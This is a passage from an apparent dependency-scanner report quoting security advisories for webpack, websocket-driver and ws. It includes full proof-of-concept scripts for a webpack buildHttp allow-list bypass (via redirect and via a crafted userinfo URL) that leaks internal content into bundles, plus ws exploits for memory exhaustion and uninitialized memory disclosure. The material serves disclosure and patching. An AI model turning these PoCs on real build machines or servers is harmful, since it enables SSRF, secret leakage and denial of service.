Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />


### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.

#### 1) Setup
```bash
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
```

#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();
```

#### 3) Create attacker.js
```js
#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();
```

#### 4) Run
Terminal A:
```bash
node server.js
```

Terminal B:
```bash
node attacker.js
```

#### 5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

### Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
CWE-918 Server-Side Request Forgery (SSRF)

CVSSv3:
  • Base Score: LOW (3.700000047683716)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack:\>\=5.49.0\<5.104.0:*:*:*:*:*:*:*

GHSA-8fgc-7cc6-rx7x (NPM)  

### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:
- webpack version: **5.104.0**
- Node version: **v18.19.1**

### Details
**Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`.

Example crafted URL:
- `http://127.0.0.1:9000@127.0.0.1:9100/secret.js`

If the allow-list is `["http://127.0.0.1:9000"]`, then:
- Raw string check:  
  `crafted.startsWith("http://127.0.0.1:9000")` → **true**
- URL parsing (WHAT `new URL()` will contact):  
  `origin` → `http://127.0.0.1:9100` (host/port after `@`)

As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`.

**Evidence from reproduction:**
- Server logs showed the internal-only endpoint being fetched:
  - `[internal] 200 /secret.js served (...)` (observed multiple times)
- Attacker-side build output showed:
  - the internal secret marker was present in the **bundle**
  - the internal secret marker was present in the **buildHttp cache**

<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />

### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.

#### 1) Setup
```bash
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
```

#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
```

#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString("utf8");
    if (s1.includes(needle)) return true;
    const s2 = buf.toString("latin1");
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () => {
  const webpackVersion = require("webpack/package.json").version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after '@' is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log("\n[ENV]");
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log("\n[CRAFTED URL]");
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error("\n[WEBPACK ERRORS]");
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log("\n[RESULT]");
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log("\n[SECURITY CHECK]");
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();
```


#### 4) Run
Terminal A:
```bash
node server.js
```

Terminal B:
```bash
node attacker.js
```

#### 5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

### Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
CWE-918 Server-Side Request Forgery (SSRF)

CVSSv3:
  • Base Score: LOW (3.700000047683716)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:webpack:\>\=5.49.0\<\=5.104.0:*:*:*:*:*:*:*

websocket-driver:0.7.4

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?websocket-driver

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/websocket-driver@0.7.4  (Confidence:Highest)

GHSA-xv26-6w52-cph6 (NPM)  

### Impact

The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values `0x80` or above, a client can make the server parse these bytes into an ever-growing integer. Since JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly.

### Patches

The issue has been patched in version 0.7.5 by rejecting the message if the length header exceeds the configured maximum message length. All users should upgrade to this version.

### Workarounds

No known workarounds exist.

### Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
CWE-130 Improper Handling of Length Parameter Inconsistency

Unscored:
  • Severity: critical

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:websocket-driver:\<0.7.5:*:*:*:*:*:*:*

GHSA-mp7j-qc5w-4988 (NPM)  

### Impact

If this library is used in tandem with the `permessage-deflate` extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage.

### Patches

The issue has been patched in version 0.7.5, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version.

### Workarounds

No known workarounds exist.

### Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
CWE-770 Allocation of Resources Without Limits or Throttling

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:websocket-driver:\<0.7.5:*:*:*:*:*:*:*

ws:8.18.3

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ws

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/ws@8.18.3  (Confidence:Highest)

GHSA-96hv-2xvq-fx4p (NPM)  

### Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

### Proof of concept

```js
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});
```

### Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

### Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.

### Credits

The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
CWE-400 Uncontrolled Resource Consumption, CWE-1050 Excessive Platform Resource Consumption within a Loop, CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:ws:\>\=8.0.0\<8.21.0:*:*:*:*:*:*:*

GHSA-58qx-3vcg-4xpx (NPM)  

### Impact

The `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument.

### Proof of concept

```js
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});
```

### Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

### Credits

Credit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR).

### Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

### Resources

- https://github.com/advisories/GHSA-58qx-3vcg-4xpx
- https://www.cve.org/CVERecord?id=CVE-2026-45736
CWE-908 Use of Uninitialized Resource

CVSSv3:
  • Base Score: MEDIUM (4.400000095367432)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:ws:\>\=8.0.0\<8.20.1:*:*:*:*:*:*:*



This report contains data retrieved from the National Vulnerability Database.
This report may contain data retrieved from the CISA Known Exploited Vulnerability Catalog.
This report may contain data retrieved from the Github Advisory Database (via NPM Audit API).
This report may contain data retrieved from RetireJS.
This report may contain data retrieved from the Sonatype OSS Index.